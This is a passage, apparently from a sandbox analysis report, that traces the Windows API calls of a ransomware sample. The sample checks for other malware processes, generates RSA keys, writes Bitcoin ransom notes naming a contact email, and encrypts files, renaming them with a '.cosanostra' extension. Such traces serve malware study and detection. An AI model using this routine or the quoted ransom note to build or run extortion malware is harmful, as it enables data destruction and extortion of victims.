lpString2="rarog.exe") returned -1 [0072.087] lstrlenW (lpString="rarog.exe") returned 9 [0072.087] lstrcmpiW (lpString1="nurse towers.exe", lpString2="arkei.exe") returned 1 [0072.087] lstrlenW (lpString="arkei.exe") returned 9 [0072.087] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="low_kyle.exe")) returned 1 [0072.087] lstrcmpiW (lpString1="low_kyle.exe", lpString2="rarog.exe") returned -1 [0072.088] lstrlenW (lpString="rarog.exe") returned 9 [0072.088] lstrcmpiW (lpString1="low_kyle.exe", lpString2="arkei.exe") returned 1 [0072.088] lstrlenW (lpString="arkei.exe") returned 9 [0072.088] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="continuously-implemented-carried.exe")) returned 1 [0072.088] lstrcmpiW (lpString1="continuously-implemented-carried.exe", lpString2="rarog.exe") returned -1 [0072.088] lstrlenW (lpString="rarog.exe") returned 9 [0072.088] lstrcmpiW (lpString1="continuously-implemented-carried.exe", lpString2="arkei.exe") returned 1 [0072.088] lstrlenW (lpString="arkei.exe") returned 9 [0072.088] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful_lbs_spend.exe")) returned 1 [0072.089] lstrcmpiW (lpString1="peaceful_lbs_spend.exe", lpString2="rarog.exe") returned -1 [0072.089] lstrlenW (lpString="rarog.exe") returned 9 [0072.089] lstrcmpiW (lpString1="peaceful_lbs_spend.exe", lpString2="arkei.exe") returned 1 [0072.089] lstrlenW (lpString="arkei.exe") returned 9 [0072.089] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fully.exe")) returned 1 [0072.089] lstrcmpiW (lpString1="fully.exe", lpString2="rarog.exe") returned -1 [0072.089] lstrlenW (lpString="rarog.exe") returned 9 [0072.089] lstrcmpiW (lpString1="fully.exe", lpString2="arkei.exe") returned 1 [0072.090] lstrlenW (lpString="arkei.exe") returned 9 [0072.090] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="observedadjusted.exe")) returned 1 [0072.090] lstrcmpiW (lpString1="observedadjusted.exe", lpString2="rarog.exe") returned -1 [0072.090] lstrlenW (lpString="rarog.exe") returned 9 [0072.090] lstrcmpiW (lpString1="observedadjusted.exe", lpString2="arkei.exe") returned 1 [0072.090] lstrlenW (lpString="arkei.exe") returned 9 [0072.090] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="answer.exe")) returned 1 [0072.091] lstrcmpiW (lpString1="answer.exe", lpString2="rarog.exe") returned -1 [0072.091] lstrlenW (lpString="rarog.exe") returned 9 [0072.091] lstrcmpiW (lpString1="answer.exe", lpString2="arkei.exe") returned -1 [0072.091] lstrlenW (lpString="arkei.exe") returned 9 [0072.091] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gene_employer_hyundai.exe")) returned 1 [0072.091] lstrcmpiW (lpString1="gene_employer_hyundai.exe", lpString2="rarog.exe") returned -1 [0072.091] lstrlenW (lpString="rarog.exe") returned 9 [0072.091] lstrcmpiW (lpString1="gene_employer_hyundai.exe", lpString2="arkei.exe") returned 1 [0072.091] lstrlenW (lpString="arkei.exe") returned 9 [0072.091] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alt.exe")) returned 1 [0072.092] lstrcmpiW (lpString1="alt.exe", lpString2="rarog.exe") returned -1 [0072.092] lstrlenW (lpString="rarog.exe") returned 9 [0072.092] lstrcmpiW (lpString1="alt.exe", lpString2="arkei.exe") returned -1 [0072.092] lstrlenW (lpString="arkei.exe") returned 9 [0072.092] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="portugal-journal.exe")) returned 1 [0072.093] lstrcmpiW (lpString1="portugal-journal.exe", lpString2="rarog.exe") returned -1 [0072.093] lstrlenW (lpString="rarog.exe") returned 9 [0072.093] lstrcmpiW (lpString1="portugal-journal.exe", lpString2="arkei.exe") returned 1 [0072.093] lstrlenW (lpString="arkei.exe") returned 9 [0072.093] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="consoles_derby.exe")) returned 1 [0072.093] lstrcmpiW (lpString1="consoles_derby.exe", lpString2="rarog.exe") returned -1 [0072.093] lstrlenW (lpString="rarog.exe") returned 9 [0072.093] lstrcmpiW (lpString1="consoles_derby.exe", lpString2="arkei.exe") returned 1 [0072.093] lstrlenW (lpString="arkei.exe") returned 9 [0072.093] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0072.094] lstrcmpiW (lpString1="dllhost.exe", lpString2="rarog.exe") returned -1 [0072.094] lstrlenW (lpString="rarog.exe") returned 9 [0072.094] lstrcmpiW (lpString1="dllhost.exe", lpString2="arkei.exe") returned 1 [0072.094] lstrlenW (lpString="arkei.exe") returned 9 [0072.094] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0072.095] lstrcmpiW (lpString1="dllhost.exe", lpString2="rarog.exe") returned -1 [0072.095] lstrlenW (lpString="rarog.exe") returned 9 [0072.095] lstrcmpiW (lpString1="dllhost.exe", lpString2="arkei.exe") returned 1 [0072.095] lstrlenW (lpString="arkei.exe") returned 9 [0072.095] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="rufus-3.3.exe")) returned 1 [0072.095] lstrcmpiW (lpString1="rufus-3.3.exe", lpString2="rarog.exe") returned 1 [0072.095] lstrlenW (lpString="rarog.exe") returned 9 [0072.095] lstrcmpiW (lpString1="rufus-3.3.exe", lpString2="arkei.exe") returned 1 [0072.095] lstrlenW (lpString="arkei.exe") returned 9 [0072.095] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0072.096] lstrcmpiW (lpString1="vssadmin.exe", lpString2="rarog.exe") returned 1 [0072.096] lstrlenW (lpString="rarog.exe") returned 9 [0072.096] lstrcmpiW (lpString1="vssadmin.exe", lpString2="arkei.exe") returned 1 [0072.096] lstrlenW (lpString="arkei.exe") returned 9 [0072.096] Process32NextW (in: hSnapshot=0x84, lppe=0x4bf328 | out: lppe=0x4bf328*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0072.097] CloseHandle (hObject=0x84) returned 1 [0072.097] CryptAcquireContextA (in: phProv=0x4bf57c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4bf57c*=0x215d98) returned 1 [0073.628] ExpandEnvironmentStringsW (in: lpSrc="%appdata%", lpDst=0x4bf594, nSize=0x104 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0073.628] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpString2="\\_uninstalling_.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_uninstalling_.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_uninstalling_.png" [0073.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_uninstalling_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_uninstalling_.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.628] CryptGenKey (in: hProv=0x215d98, Algid=0xa400, dwFlags=0x1800001, phKey=0x4bf578 | out: phKey=0x4bf578*=0x214d58) returned 1 [0074.005] CryptExportKey (in: hKey=0x214d58, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2170d0, pdwDataLen=0x4bf57c | out: pbData=0x2170d0*, pdwDataLen=0x4bf57c*=0x44) returned 1 [0074.006] CryptExportKey (in: hKey=0x214d58, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x2170d0, pdwDataLen=0x4bf57c | out: pbData=0x2170d0*, pdwDataLen=0x4bf57c*=0xec) returned 1 [0074.006] CryptDestroyKey (hKey=0x214d58) returned 1 [0074.006] CryptImportKey (in: hProv=0x215d98, pbData=0x217298, dwDataLen=0x44, hPubKey=0x0, dwFlags=0x0, phKey=0xb403c | out: phKey=0xb403c*=0x214d58) returned 1 [0074.006] lstrlenA (lpString="BgIAAACkAABSU0ExABAAAAEAAQAfUDvrYL7lF1XhXKge33OTLQA33gYy0ZDOhsWwBJW0B8cSFWvgrgQmosvTFpr4r8AM3zW8414cOdDLL91XnEUOXADx/fwMxGj0Lp+gxl/qg3kKzBSAoqSA+nqyvZtgpjCyQIDIu1FSUWPSkWz8QusTTWl7k5hbf49hgnZUYRDlM+H/YQ89U4gA9oCrqzfpk7dnRjcVGvQbqZeqCLF8PkT5sTXX8uNdXAjXAMqTVcypFHuJP1SFTmjku7nYX0WS6gseq1IynsjDVLY+XEu9JJ8qt5WvYR/Vsm0Q54TuzUcqiLOZdqvR/jntTD9OAbtIk88fjh5Am0wLNXWlMqsN0TbzPSPkDZCR00iCi3uIXblUFRaTuLsj3aAlJmixgXqqYGidWTNUoXGPSDXeM9CdwKL4tF6+B3oT0zYe4xMxuW+LubuQCWh7I2I4KlqaPDBKBtYLhStq2yvW653jn2fx84pCRM+VPuqbIdyo0lOz3W4C35xRKNbQW7XPDDL9b/yU+LhIX4BCZE19Y8u6rf8bJlqwUsIJNjSEHg0KsIQg4W1qrt7uhJCtMX1+dqDCaimWuYM/hguQ7J51LDeeOei/RhvYLe4L2cn9hQ1FQTc1VcReoRBhdU1hRKQQZEesndxPdOsYje1UhuP+qy/RyP958PdtPs7u5ttzWNckR4pgN3uTnQ==") returned 712 [0074.006] CryptImportKey (in: hProv=0x215d98, pbData=0x217460, dwDataLen=0x214, hPubKey=0x0, dwFlags=0x0, phKey=0x4bf57c | out: phKey=0x4bf57c*=0x2170d0) returned 1 [0074.006] CryptEncrypt (in: hKey=0x2170d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x217460*, pdwDataLen=0x4bfab0*=0xec, dwBufLen=0x200 | out: pbData=0x217460*, pdwDataLen=0x4bfab0*=0x200) returned 1 [0074.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_uninstalling_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_uninstalling_.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x6, hTemplateFile=0x0) returned 0x80 [0074.009] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0074.009] WriteFile (in: hFile=0x80, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ad, lpNumberOfBytesWritten=0x4bfaa8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x4bfaa8*=0x2ad, lpOverlapped=0x0) returned 1 [0074.010] WriteFile (in: hFile=0x80, lpBuffer=0x217298*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x4bfaa8, lpOverlapped=0x0 | out: lpBuffer=0x217298*, lpNumberOfBytesWritten=0x4bfaa8*=0x44, lpOverlapped=0x0) returned 1 [0074.010] CloseHandle (hObject=0x80) returned 1 [0074.011] CryptDestroyKey (hKey=0x2170d0) returned 1 [0074.012] GetSystemInfo (in: lpSystemInfo=0x4bf4dc | out: lpSystemInfo=0x4bf4dc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0074.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb3641, lpParameter=0xb4014, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80 [0074.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb3641, lpParameter=0xb4014, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88 [0074.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb3641, lpParameter=0xb4014, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94 [0074.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb3641, lpParameter=0xb4014, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98 [0074.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2d4f, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c [0074.015] GetLogicalDrives () returned 0x4 [0074.093] wnsprintfW (in: pszDest=0x217178, cchDest=260, pszFmt="\\\\?\\%c:" | out: pszDest="\\\\?\\C:") returned 6 [0074.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb27ff, lpParameter=0x217178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0074.094] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4bf500*=0x9c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0093.317] CloseHandle (hObject=0x9c) returned 1 [0093.317] CloseHandle (hObject=0xa8) returned 1 [0093.317] Sleep (dwMilliseconds=0x1f4) [0093.906] Sleep (dwMilliseconds=0x1f4) [0094.410] Sleep (dwMilliseconds=0x1f4) [0094.925] Sleep (dwMilliseconds=0x1f4) [0095.439] Sleep (dwMilliseconds=0x1f4) [0095.959] Sleep (dwMilliseconds=0x1f4) [0096.826] Sleep (dwMilliseconds=0x1f4) [0097.524] Sleep (dwMilliseconds=0x1f4) [0098.112] Sleep (dwMilliseconds=0x1f4) [0098.927] Sleep (dwMilliseconds=0x1f4) [0099.433] Sleep (dwMilliseconds=0x1f4) [0100.002] Sleep (dwMilliseconds=0x1f4) [0100.619] Sleep (dwMilliseconds=0x1f4) [0101.407] Sleep (dwMilliseconds=0x1f4) [0102.105] Sleep (dwMilliseconds=0x1f4) [0102.741] Sleep (dwMilliseconds=0x1f4) [0103.351] Sleep (dwMilliseconds=0x1f4) [0104.045] Sleep (dwMilliseconds=0x1f4) [0104.550] Sleep (dwMilliseconds=0x1f4) [0105.072] Sleep (dwMilliseconds=0x1f4) [0105.816] Sleep (dwMilliseconds=0x1f4) [0106.590] Sleep (dwMilliseconds=0x1f4) [0107.493] Sleep (dwMilliseconds=0x1f4) [0108.134] Sleep (dwMilliseconds=0x1f4) [0109.180] Sleep (dwMilliseconds=0x1f4) [0109.682] Sleep (dwMilliseconds=0x1f4) [0110.197] Sleep (dwMilliseconds=0x1f4) [0110.868] Sleep (dwMilliseconds=0x1f4) [0111.757] Sleep (dwMilliseconds=0x1f4) [0112.364] TerminateThread (hThread=0x80, dwExitCode=0x0) returned 1 [0112.365] CloseHandle (hObject=0x80) returned 1 [0112.365] TerminateThread (hThread=0x88, dwExitCode=0x0) returned 1 [0112.366] CloseHandle (hObject=0x88) returned 1 [0112.366] TerminateThread (hThread=0x94, dwExitCode=0x0) returned 1 [0112.369] CloseHandle (hObject=0x94) returned 1 [0112.369] TerminateThread (hThread=0x98, dwExitCode=0x0) returned 1 [0112.370] CloseHandle (hObject=0x98) returned 1 [0112.370] CryptReleaseContext (hProv=0x215d98, dwFlags=0x0) returned 1 [0112.370] ExitProcess (uExitCode=0x0) Thread: id = 3 os_tid = 0xa3c [0074.016] Sleep (dwMilliseconds=0x3e8) [0077.321] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0077.509] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0077.510] WriteFile (in: hFile=0xc0, lpBuffer=0x251f9c3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb84, lpOverlapped=0x0 | out: lpBuffer=0x251f9c3*, lpNumberOfBytesWritten=0x251fb84*=0x1bf, lpOverlapped=0x0) returned 1 [0077.510] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0077.510] WriteFile (in: hFile=0xc0, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb84, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb84*=0x2ac, lpOverlapped=0x0) returned 1 [0077.511] CloseHandle (hObject=0xc0) returned 1 [0077.527] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb20 | out: pbBuffer=0x251fb20) returned 1 [0077.527] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25cd38*, pdwDataLen=0x251fb18*=0x20, dwBufLen=0x30 | out: pbData=0x25cd38*, pdwDataLen=0x251fb18*=0x30) returned 1 [0077.527] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0077.718] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 77 [0077.718] StrStrW (lpFirst="ProjLR.cab", lpSrch=".txt") returned 0x0 [0077.718] ReadFile (in: hFile=0x13c, lpBuffer=0x28c120, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x28c120*, lpNumberOfBytesRead=0x251fadc*=0x2800, lpOverlapped=0x0) returned 1 [0077.772] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.772] WriteFile (in: hFile=0x13c, lpBuffer=0x28c120*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x28c120*, lpNumberOfBytesWritten=0x251fadc*=0x2800, lpOverlapped=0x0) returned 1 [0077.773] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.773] WriteFile (in: hFile=0x13c, lpBuffer=0x251fb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x251fb1c*, lpNumberOfBytesWritten=0x251fadc*=0x4, lpOverlapped=0x0) returned 1 [0077.846] WriteFile (in: hFile=0x13c, lpBuffer=0x25cd38*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x25cd38*, lpNumberOfBytesWritten=0x251fadc*=0x30, lpOverlapped=0x0) returned 1 [0077.846] CloseHandle (hObject=0x13c) returned 1 [0078.690] wnsprintfW (in: pszDest=0x29e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.cosanostra") returned 88 [0078.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.cosanostra")) returned 1 [0078.691] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb20 | out: pbBuffer=0x251fb20) returned 1 [0078.691] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fb18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fb18*=0x30) returned 1 [0078.691] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0078.691] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 94 [0078.691] StrStrW (lpFirst="Microsoft.VC90.CRT.manifest", lpSrch=".txt") returned 0x0 [0078.691] ReadFile (in: hFile=0x13c, lpBuffer=0x280078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x280078*, lpNumberOfBytesRead=0x251fadc*=0x741, lpOverlapped=0x0) returned 1 [0078.768] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff8bf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.768] WriteFile (in: hFile=0x13c, lpBuffer=0x280078*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x280078*, lpNumberOfBytesWritten=0x251fadc*=0x741, lpOverlapped=0x0) returned 1 [0078.768] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.768] WriteFile (in: hFile=0x13c, lpBuffer=0x251fb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x251fb1c*, lpNumberOfBytesWritten=0x251fadc*=0x4, lpOverlapped=0x0) returned 1 [0078.769] WriteFile (in: hFile=0x13c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fadc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, 